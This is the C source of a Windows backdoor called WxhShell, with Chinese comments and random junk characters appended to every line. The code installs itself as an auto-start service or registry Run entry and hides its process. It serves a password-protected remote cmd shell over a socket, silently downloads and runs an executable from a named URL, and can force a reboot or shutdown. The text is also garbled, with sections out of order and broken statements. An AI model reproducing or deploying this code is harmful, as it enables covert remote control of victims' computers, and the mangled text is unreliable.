    if(Boot(SHUTDOWN)) yCav;ZS_  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); BAY e:0  
    else { 0 !{X8>x  
    closesocket(wsh); ydo9 P5E  
    ExitThread(0); rq4g~e!S  
    } NjpWK ;L  
    break; W/hzo*o'g  
    } x,.=VB  
  // 获取shell Qrg- xu=  
  case 's': { At?|[%< `  
    CmdShell(wsh); Q?1J<(oq9  
    closesocket(wsh); {59 >U~  
    ExitThread(0); 4=/jh:h  
    break; XsQ81j.  
  }  1n +Uv*  
  // 退出 jH!;}q  
  case 'x': { KFwuz()7  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 6p*X8j3pW  
    CloseIt(wsh); ,?erAI  
    break; -grmmE]/  
    } #dL,d6a  
  // 离开 rKUtTj  
  case 'q': { 'jfE?ngt  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 6QCV i  
    closesocket(wsh); " nCK%w=  
    WSACleanup(); TB* t^ E  
    exit(1); 5X=1a*2']  
    break; )9_W"'V  
        } I`X!M!dB)  
  } #e-K It  
  } rzIWQFv  
5L[imOM0  
  // 提示信息 gv>DOez/  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); F:T(-,  
}   8sG?|u  
  } [0y,K{8t  
|ymW0gh7o$  
  return; Ye&/O<G'V  
} \-pwA j?  
L?+N:G  
// shell模块句柄 g;'S5w9S  
int CmdShell(SOCKET sock) //BJaWq  
{ [|oG}'Xz  
STARTUPINFO si; 1C{0 R.  
ZeroMemory(&si,sizeof(si)); C/Tk`C&  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; N=Ct3  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; `e<IO_cg  
PROCESS_INFORMATION ProcessInfo; JX&]>#6|E  
char cmdline[]="cmd"; m;l[flQ~  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); <q$Tk,  
  return 0; ~*/ >8R(Y  
} @i!+Z  
<Y7j'n  
// 自身启动模式 wg%Z  
int StartFromService(void) ^UJIDg7zS  
{ xOKJOl  
typedef struct ocWl]h].  
{ a<q9~QS  
  DWORD ExitStatus; ,--#3+]XU  
  DWORD PebBaseAddress; f}(4v1 T  
  DWORD AffinityMask; s(3u\#P  
  DWORD BasePriority; m_oUl(pk  
  ULONG UniqueProcessId; _Sfu8k>):  
  ULONG InheritedFromUniqueProcessId; /C Xg$%\  
}   PROCESS_BASIC_INFORMATION; -LRx}Mb9  
,.p 36ZLP  
PROCNTQSIP NtQueryInformationProcess; Ve%ua]qA  
U<0Wa>3zj  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 8(Te^] v#  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; lwX9:[Z  
!9PAfi?  
  HANDLE             hProcess; .8^mA1fmX  
  PROCESS_BASIC_INFORMATION pbi; z0 /+P  
]vz6DJs  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 8%m\J:e R  
  if(NULL == hInst ) return 0; H"? 5]!p  
#;a+)~3*O  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); hzr, %r  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); r+ 8Tp|%  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Db|JR  
WUie `p  
  if (!NtQueryInformationProcess) return 0; DCiU?u~  
Zqm%qm:  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); hbJy<e1W  
  if(!hProcess) return 0; =t-Ud^3  
!9 kNL  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; |OF3O,5z  
W vB]Rs  
  CloseHandle(hProcess); 6 :3Id  
e8 ]CB  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); F]6G<6T[  
if(hProcess==NULL) return 0; I2CI9,0  
jy.L/s  
HMODULE hMod; 'XKfKv >;  
char procName[255]; 5}hQIO&^%  
unsigned long cbNeeded; A+M4=  
/} PdO  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); m}?jU  
#Y7iJPO  
  CloseHandle(hProcess); ];Noe9o  
rhPv{6Z|7  
if(strstr(procName,"services")) return 1; // 以服务启动 & n@hD7=(  
.jqil0#)Y"  
  return 0; // 注册表启动 ]I,&Bme  
} :j3'+% '2  
;W5.g8  
// 主模块 =@4 ,szLO  
int StartWxhshell(LPSTR lpCmdLine) oQ]FyV  
{ Ry X11XU  
  SOCKET wsl; *(yw6(9%  
BOOL val=TRUE; c{1)- &W  
  int port=0; R P~67L  
  struct sockaddr_in door; N*Q*>q  
5 ,MM`:{{  
  if(wscfg.ws_autoins) Install(); yO7H!}y_  
A2\hmp@A@7  
port=atoi(lpCmdLine); cD`?" n  
$m5Iv_  
if(port<=0) port=wscfg.ws_port; N<<wg{QO  
#@BhGB`9Qt  
  WSADATA data; P??P"^hU  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; #pAN   
81|[Y'f  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   &&<l}E  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Szu @{lpP@  
  door.sin_family = AF_INET; 8v4krz<Iq  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); d1g7:s9$0  
  door.sin_port = htons(port); (G+)v[f  
:^?-bppYW  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { tE-bHu370  
closesocket(wsl); ]#shuZ##>0  
return 1; \ky oA Z  
} 2<J2#}+ \  
$bMmyDw  
  if(listen(wsl,2) == INVALID_SOCKET) { dRzeHuF92  
closesocket(wsl); SbUac<  
return 1; [AFR \{  
} Xmmj.ZUr  
  Wxhshell(wsl); [g"nu0sOK  
  WSACleanup(); zwQ#Yvd  
U+B{\38  
return 0; X=?9-z] QO  
u8?$W%eW  
} g; -3  
Jb> X$|N'%  
// 以NT服务方式启动 Xbx=h^S  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) (bI/s'?K  
{ w8q 2f-K-  
DWORD   status = 0; F# 9^RA)9  
  DWORD   specificError = 0xfffffff; ZGh6- /  
;>ml@@Z  
  serviceStatus.dwServiceType     = SERVICE_WIN32; b (H J|  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; wG s'qL"z  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; )Dhx6xM[a  
  serviceStatus.dwWin32ExitCode     = 0; ~FAk4z=Ed  
  serviceStatus.dwServiceSpecificExitCode = 0; = YO<.(Lu  
  serviceStatus.dwCheckPoint       = 0; NoF|j57?u'  
  serviceStatus.dwWaitHint       = 0; B)DuikV.D  
nvQX)Xf  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); vAG|Y'aO@%  
  if (hServiceStatusHandle==0) return; f\$_^dV  
cY!Pv  
status = GetLastError(); 6:QlHuy0nH  
  if (status!=NO_ERROR) t; #@t/`  
{ - 8"K|ev  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; N@X6Z!EO  
    serviceStatus.dwCheckPoint       = 0; %b_0l<+  
    serviceStatus.dwWaitHint       = 0; 6j1C=O@S  
    serviceStatus.dwWin32ExitCode     = status; 0r$n  
    serviceStatus.dwServiceSpecificExitCode = specificError; \uo{I~Qd  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Ed0}$ b  
    return; '?I3&lYz{  
  } Lf<urIF  
\L?A4Qx)_  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; h~%8p ]  
  serviceStatus.dwCheckPoint       = 0; vY4}vHH2  
  serviceStatus.dwWaitHint       = 0; WyB^b-QmDh  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 73u97oe>1  
} mcQ A'  
pR2U&OA  
// 处理NT服务事件,比如:启动、停止 wLI1qoDM  
VOID WINAPI NTServiceHandler(DWORD fdwControl) %'. x vC  
{ eFy {VpO+  
switch(fdwControl) >*B59+1P  
{ k]-Q3 V  
case SERVICE_CONTROL_STOP: ;c|_z 9+  
  serviceStatus.dwWin32ExitCode = 0; ^XYK }J  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; +>yh` Zb  
  serviceStatus.dwCheckPoint   = 0; yoieWnL}  
  serviceStatus.dwWaitHint     = 0; <7Yh<(R e^  
  { keQRS+9  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); EcytNYn  
  } I%Z=O=  
  return; b!J?>du  
case SERVICE_CONTROL_PAUSE: i& \ >/ 1  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; inq {" 6  
  break; eq"Xwq*  
case SERVICE_CONTROL_CONTINUE: vqoK9  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 8ZjRMr}  
  break; `{IL.9M!f  
case SERVICE_CONTROL_INTERROGATE: `25<;@  
  break; )3|a_   
}; LtUw  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); q!><:"#[G  
} 5mL4Zq"  
*(wxNsK  
// 标准应用程序主函数 [\fwnS_1  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) E}0g  
{ 1jBIi  
Xyz/CZPi  
// 获取操作系统版本 Zv mkb%8  
OsIsNt=GetOsVer(); ;5T}@4m|r  
GetModuleFileName(NULL,ExeFile,MAX_PATH); yP` K [/  
FH%: NO  
  // 从命令行安装  Ks^wX  
  if(strpbrk(lpCmdLine,"iI")) Install(); nHF~a?|FT  
hVFZQJ?cv  
  // 下载执行文件 211T}a  
if(wscfg.ws_downexe) { {5ehm  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) B=r+ m;(  
  WinExec(wscfg.ws_filenam,SW_HIDE); |{,c2 Ck:N  
} ZifDU@J$t  
z.h;}QRJ,@  
if(!OsIsNt) { \j.l1O  
// 如果时win9x,隐藏进程并且设置为注册表启动 T.%yeJiE  
HideProc(); y^Q);siSy  
StartWxhshell(lpCmdLine); sUiO~<Ozpk  
} K2v[_a~@  
else '4M;;sKW  
  if(StartFromService()) WD kE 5  
  // 以服务方式启动 i>-#QKqJ  
  StartServiceCtrlDispatcher(DispatchTable); r1=j$G  
else b8%TwYp  
  // 普通方式启动 {od@S l  
  StartWxhshell(lpCmdLine); QWt3KW8)  
Azr|cKu]  
return 0; d}|z+D  
} 4}*.0'Hz  
Q_0_6,Opb  
23'<R i  
_2<UcC~  
=========================================== {z;K0  
0#m=76[b  
NP4u/C<  
f1U8 b*F<  
v7hw%9(=  
m9D Tz$S.  
" v<(+ l)Ln  
$|[N3  
#include <stdio.h> PAC=LQn&  
#include <string.h> GZuWA a  
#include <windows.h> BT$Oh4y4  
#include <winsock2.h>  3U!=R-  
#include <winsvc.h> |S<!'rY  
#include <urlmon.h> gg#lI|  
~oK0k_{~  
#pragma comment (lib, "Ws2_32.lib") g2M1zRm;  
#pragma comment (lib, "urlmon.lib") zqQ[uO]m?  
)>"Ky  
#define MAX_USER   100 // 最大客户端连接数 s bR*[2  
#define BUF_SOCK   200 // sock buffer .SSyW{a3w  
#define KEY_BUFF   255 // 输入 buffer 0$=U\[og  
]HXHz(?;F  
#define REBOOT     0   // 重启 Oc.8d<  
#define SHUTDOWN   1   // 关机 \;Q!}_ K  
6rCUq  
#define DEF_PORT   5000 // 监听端口 cBOt=vg,5  
4? rEO(SZ  
#define REG_LEN     16   // 注册表键长度 1M55!b  
#define SVC_LEN     80   // NT服务名长度 |(,{&\  
 =Uo*-EH  
// 从dll定义API utn,`v   
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 3rJ LLYR  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); MJH>rsTQ  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ^Q+z^zlC  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); |942#rM  
Z0XQ|gkH  
// wxhshell配置信息 <y7Hy&&y-  
struct WSCFG { nKEw$~F  
  int ws_port;         // 监听端口 +9yMtR  
  char ws_passstr[REG_LEN]; // 口令 <F-IF7>a  
  int ws_autoins;       // 安装标记, 1=yes 0=no k;SKQN  
  char ws_regname[REG_LEN]; // 注册表键名 %503 <j  
  char ws_svcname[REG_LEN]; // 服务名 B T {cTj0W  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 _~P &8  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 hKnV=Ha(  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 e5; YY  
int ws_downexe;       // 下载执行标记, 1=yes 0=no +br' 2Pn  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" JP^x]t:  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 $GhL-sqm  
1 >2 /1>  
}; S&'s/jB  
KilN`?EJ  
// default Wxhshell configuration Znh;#%n|  
struct WSCFG wscfg={DEF_PORT, Y9st3  
    "xuhuanlingzhe", 9U )9u["DH  
    1, T@zp'6\H  
    "Wxhshell", :C0)[L  
    "Wxhshell", yB{1&S5 C  
            "WxhShell Service", &arJe!K  
    "Wrsky Windows CmdShell Service", gnb+i`  
    "Please Input Your Password: ", v v5rA 6+  
  1, J^PFhu  
  "http://www.wrsky.com/wxhshell.exe",  R; &k/v  
  "Wxhshell.exe" hD,|CQ  
    }; D+q z`  
Z^WI~B0nt  
// 消息定义模块 YzEOfHL,  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 1C*mR%Q  
char *msg_ws_prompt="\n\r? for help\n\r#>"; YZ<5-C  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; y;P%=M P  
char *msg_ws_ext="\n\rExit."; V;Ln|._/t  
char *msg_ws_end="\n\rQuit."; [`bK {Dq2  
char *msg_ws_boot="\n\rReboot..."; E2`9H-6e  
char *msg_ws_poff="\n\rShutdown..."; {aK3'-7  
char *msg_ws_down="\n\rSave to "; L i 9$N"2  
#~w~k+E4  
char *msg_ws_err="\n\rErr!"; Z\n^m^Z =  
char *msg_ws_ok="\n\rOK!"; mW,b#'hy  
7pnlS*E.  
char ExeFile[MAX_PATH]; E4_,EeC#  
int nUser = 0; cw0uLMqr`  
HANDLE handles[MAX_USER]; DC_k0VBn  
int OsIsNt; 45jImCm  
GI:!,9  
SERVICE_STATUS       serviceStatus; !>kg:xV  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; %`/F> `  
z XUr34jF  
// 函数声明 #60gjHYaV  
int Install(void); L[`8 :}M  
int Uninstall(void); Q;nC #cg  
int DownloadFile(char *sURL, SOCKET wsh); hC]:+.Q+  
int Boot(int flag); *Aug7 HlS  
void HideProc(void); p^ OHLT  
int GetOsVer(void); N'pYz0_H  
int Wxhshell(SOCKET wsl); +4[9Eb'k=  
void TalkWithClient(void *cs); ]-;JHB5A_:  
int CmdShell(SOCKET sock); zq3f@xOK  
int StartFromService(void); pXA |'U5]  
int StartWxhshell(LPSTR lpCmdLine); $uRi/%Q9  
$}us+hGZ  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); yDRi  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ^B7Ls{  
=OTu8_ d0t  
// 数据结构和表定义 MvaX>n !o  
SERVICE_TABLE_ENTRY DispatchTable[] = >m%7dU  
{ \uJ+~db=  
{wscfg.ws_svcname, NTServiceMain}, Fp]ErDan  
{NULL, NULL} d%E*P4Ua  
}; 6C ?,V3Z  
<R%TCVwC@  
// 自我安装 7(| f@Y~*  
int Install(void) 3Jj&wHp]  
{ .>1Y-NM  
  char svExeFile[MAX_PATH]; q[+KQ,  
  HKEY key; .5 {<bY  
  strcpy(svExeFile,ExeFile); |U$ "GI  
zpzxCzU  
// 如果是win9x系统,修改注册表设为自启动 Z=a~0&G  
if(!OsIsNt) { g!cW`B'  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { T&Z*=ShH  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); `9\^.g)  
  RegCloseKey(key); Z4gn7 'V  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { WQB V~.<Yv  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 4<f^/!9w  
  RegCloseKey(key); p+7#`iICE  
  return 0; 4|4[3Ye7u:  
    } @_ UI;*V  
  } @`iz0DPG?Y  
} jTW8mWNk]  
else { _({wJ$aYC  
# 00?]6`z  
// 如果是NT以上系统,安装为系统服务 {V8uk $  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); u?'J1\z  
if (schSCManager!=0) p$*P@qm  
{ ~I~lb/  
  SC_HANDLE schService = CreateService F9A5}/\  
  ( =&DuQvN,  
  schSCManager, sJ5#T iX  
  wscfg.ws_svcname, %D% Ok7s})  
  wscfg.ws_svcdisp, 15Jc PDV  
  SERVICE_ALL_ACCESS, >?ec"P%vS/  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Wo,93]  
  SERVICE_AUTO_START, 0;4 YU%u  
  SERVICE_ERROR_NORMAL, nu2m5RYx  
  svExeFile, TnQW ~_:  
  NULL, "x 3C3Zu.;  
  NULL, w")m]LV  
  NULL, ? Y luX  
  NULL, 80Q%c(i  
  NULL K=pG,[ChA  
  ); ^nDa-J$  
  if (schService!=0) ~4mRm!DP  
  { Ua~8DdW  
  CloseServiceHandle(schService); 7d+0'3%  
  CloseServiceHandle(schSCManager); /1Ss |.  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); D/,(xWaT  
  strcat(svExeFile,wscfg.ws_svcname); :EH>&vm  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { us.IdG  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); :X}Ie P  
  RegCloseKey(key); ~Qf\DTM&  
  return 0; k$kxw_N5d  
    } 5Z=GFKf|  
  } Il#ST  
  CloseServiceHandle(schSCManager); _c(h{dn  
} %:OX^ ^i;  
} nE bZ8M  
TJZ arNc$  
return 1; G 6xN R  
} b7gN|Hw5 H  
b.9[Vf_G  
// 自我卸载 HJd{j,M  
int Uninstall(void) ?>gr9w\  
{ S9'Xsh  
  HKEY key; ;3%Y@FS@  
UVW4KUxR  
if(!OsIsNt) { vjA!+_I6  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { @twi<U_  
  RegDeleteValue(key,wscfg.ws_regname); r >sXvzv  
  RegCloseKey(key); /fU -0a8  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { |C0!mU  
  RegDeleteValue(key,wscfg.ws_regname); bik lja  
  RegCloseKey(key); aa dw#90  
  return 0; BaMF5f+  
  } >ZU)bnndA  
} [<d_#(]h'  
} +G,_|C2J  
else { _@ g\.7@0G  
X0]$Ovq(l  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ]K%d   
if (schSCManager!=0) ,?+uQXfXR  
{ +I}!)$/  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 0sCWIGU W  
  if (schService!=0) }j!C+i  
  { /)?qD  
  if(DeleteService(schService)!=0) { ?D(aky#cyc  
  CloseServiceHandle(schService); 5'<a,,RKu  
  CloseServiceHandle(schSCManager); NSq29#  
  return 0; 'a:';hU3f  
  } R0bgt2J  
  CloseServiceHandle(schService); FL&L$#X  
  } <UTO\w%  
  CloseServiceHandle(schSCManager); Zcg-i:@  
} h<n2pz}  
} kUr/*an  
R38 \&F  
return 1; Yjl:i*u/  
} 8A u W>7_  
|;I"Oc.w^R  
// 从指定url下载文件 7f<@+&  
int DownloadFile(char *sURL, SOCKET wsh) 1Ve~P"w  
{ ~B7<Yg  
  HRESULT hr; VZ7E#z+nM#  
char seps[]= "/"; *?>52 -&b  
char *token; 3T[zieX  
char *file; czB),vooz  
char myURL[MAX_PATH]; b'vIX< g  
char myFILE[MAX_PATH]; _ D"S  
Vl'rO_?t  
strcpy(myURL,sURL); /J(~NGT  
  token=strtok(myURL,seps); : ?>yi7w  
  while(token!=NULL)  &'?Hh(  
  { - rI4_Dl  
    file=token; M-e|$'4u  
  token=strtok(NULL,seps); Z4m+GFY  
  } =c%gV]>G  
#RKd >ig%  
GetCurrentDirectory(MAX_PATH,myFILE); Ds{DVdqA$c  
strcat(myFILE, "\\"); LCe6](Z  
strcat(myFILE, file); LKZv#b[h  
  send(wsh,myFILE,strlen(myFILE),0);  RcZ&/MY  
send(wsh,"...",3,0); vYq"W%  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); kovJ9  
  if(hr==S_OK) .&h|r>*|J  
return 0; Sw>,Q-32  
else t@iw&> 8z  
return 1; E5Ls/ H K  
O(:/ &`)  
} $&i8/pD  
^+kymZ  
// 系统电源模块  xS="o  
int Boot(int flag) G'wyH[ d/  
{ $J0o%9K   
  HANDLE hToken; !LsIHDs4  
  TOKEN_PRIVILEGES tkp; R~;8v1>K  
7&(h_}Z  
  if(OsIsNt) { ,pUB[w\  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); mApl;D X  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ']Z%6_WF  
    tkp.PrivilegeCount = 1; kPO+M~+n  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; w8#ji 1gX  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); i8#:y`ai  
if(flag==REBOOT) { n1b^o~agwC  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Ql,WKoj*  
  return 0; <@y(ikp>  
} `X B$t?xi  
else { /4upw`35]  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) c@KNyBy2  
  return 0; >GmO8dK  
} &4*f28 s  
  } <y#@v  G  
  else { N37CAbw0  
if(flag==REBOOT) { U? ;Q\=>  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) #E#@6ZomT  
  return 0; (^]3l%Ed  
} /PG%Y]l0b  
else { ^KV:.up6  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) anORoK.  
  return 0; .sb0|3&  
} M[e^Z}w.V  
} JZE<oQ_Jm  
FS*J8)  
return 1; " ^!=e72  
} F3x*dq2  
cb/$P!j7  
// win9x进程隐藏模块 qV-1aaA  
void HideProc(void) ?ea5k*#a  
{ Ml )<4@  
sXY{g0%  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); o ?aF  
  if ( hKernel != NULL ) wBEBj7(y  
  { FMitIM*]   
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ![eipOX  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); HaRx(p0  
    FreeLibrary(hKernel); ~RV9'v4  
  } {5+ 39=(  
(R9"0WeF  
return; 2<d'!cm  
} nk;+L  
OJ.oHf=K!  
// 获取操作系统版本 _P%PjFQ)  
int GetOsVer(void)  \7e4t  
{ KYq<n& s  
  OSVERSIONINFO winfo; 0;%\L:,O  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ; NO#/  
  GetVersionEx(&winfo); QJI]@3 Y  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) EEvi_Z932  
  return 1; ] ^J  
  else !lp7}[k<y  
  return 0; E_{P^7Z|Jg  
} g<:TsP'|  
#(Yd'qKo  
// 客户端句柄模块 'Hu+8,xA  
int Wxhshell(SOCKET wsl) %Siw>  
{ MYVb !  
  SOCKET wsh; OK z5;#S=  
  struct sockaddr_in client; WY26Iq@C  
  DWORD myID; SzG?m]  
46H@z=5  
  while(nUser<MAX_USER) [lz H%0 V  
{ BT f  
  int nSize=sizeof(client); Hdjp^O!  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); \JP9lJ3<  
  if(wsh==INVALID_SOCKET) return 1; -tp3qi  
T7(d  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); "i!W(}x+  
if(handles[nUser]==0) C\ 34R  
  closesocket(wsh); 6HH:K0j3'  
else u5`b")a  
  nUser++; T ^/\Rr  
  } "J `#  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); }hXmK.['  
_9S"rH[  
  return 0; -@~4:o  
} ,<TJh[TzC6  
#.LI `nYA  
// 关闭 socket ^xr & E  
void CloseIt(SOCKET wsh) m,F4N$  
{ 59V8cO+qH  
closesocket(wsh); U?EXPi61Z  
nUser--; Bo0T}P~  
ExitThread(0); V]Uc@7S/  
} 9rM#w"E?<  
[5GzY`/m  
// 客户端请求句柄 yXf+dMv  
void TalkWithClient(void *cs) j3[kG#  
{ G420o}q  
Q=epUHFs  
  SOCKET wsh=(SOCKET)cs; dSS Ai |}  
  char pwd[SVC_LEN]; sjHcq5#U!  
  char cmd[KEY_BUFF]; Q0L1!}w   
char chr[1]; R,-DP/ (im  
int i,j; <4I`|D3@  
E:P_CDSd]  
  while (nUser < MAX_USER) { "a<:fEsSE  
C~M,N|m+^  
if(wscfg.ws_passstr) { gj }Vnv1[  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); xk^`4;  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); /8/N  
  //ZeroMemory(pwd,KEY_BUFF); ]Bz.6OR  
      i=0; Z/OERO   
  while(i<SVC_LEN) { @2+'s;mUV  
,X\qlT5C  
  // 设置超时 T|5uywA|  
  fd_set FdRead; O44Fj)  
  struct timeval TimeOut; hKe ms3  
  FD_ZERO(&FdRead); NQN?CBFQ  
  FD_SET(wsh,&FdRead); r6nWrO>y  
  TimeOut.tv_sec=8; V@`%k]k  
  TimeOut.tv_usec=0; |#B)`r8  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); $7p0<<Nck  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); {k']nI.>  
(Y"./BDY  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); IYhn*  
  pwd=chr[0]; ^[q/w<_j~  
  if(chr[0]==0xd || chr[0]==0xa) { 1W7ClT_cQ  
  pwd=0; "_\77cqpTh  
  break; 9CZ EP0i7  
  } i~m;Ah,#  
  i++; g? C<@  
    } $Ut1vp1$  
DyRU$U  
  // 如果是非法用户,关闭 socket 8(H!iKHe  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); o\nFSG kn  
} - I~\  
}50s\H._C  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); cY|@s?3NND  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); z AY -Y  
E .CG  
while(1) { d;).| .}P  
eqyUI|e  
  ZeroMemory(cmd,KEY_BUFF); WogCt,  
'.7ER  
      // 自动支持客户端 telnet标准   ,fhK  
  j=0; !" @<!  
  while(j<KEY_BUFF) { S]gV!Q4%  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); < WQ ~X<1D  
  cmd[j]=chr[0]; ?p>m ;Aq  
  if(chr[0]==0xa || chr[0]==0xd) { "lB%"}  
  cmd[j]=0; 1CS\1[E  
  break; N \woFrG  
  } I@(3~ Ab  
  j++; *~zB{  
    } $/Llzpvny  
w[u>*I  
  // 下载文件 M|UCV_omN  
  if(strstr(cmd,"http://")) { IJLuu@kRm,  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); H4W!@"e  
  if(DownloadFile(cmd,wsh)) <#)Q.P  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); g!`^!Q/($  
  else sLc,Dx"+  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); wjHH%y  
  } ah#jvp  
  else { u/J1Z>0  
tSVS ogGd  
    switch(cmd[0]) { RvyCc!d  
  HgTBON(  
  // 帮助 zw0u|q;#  
  case '?': { Y,-! QFS#  
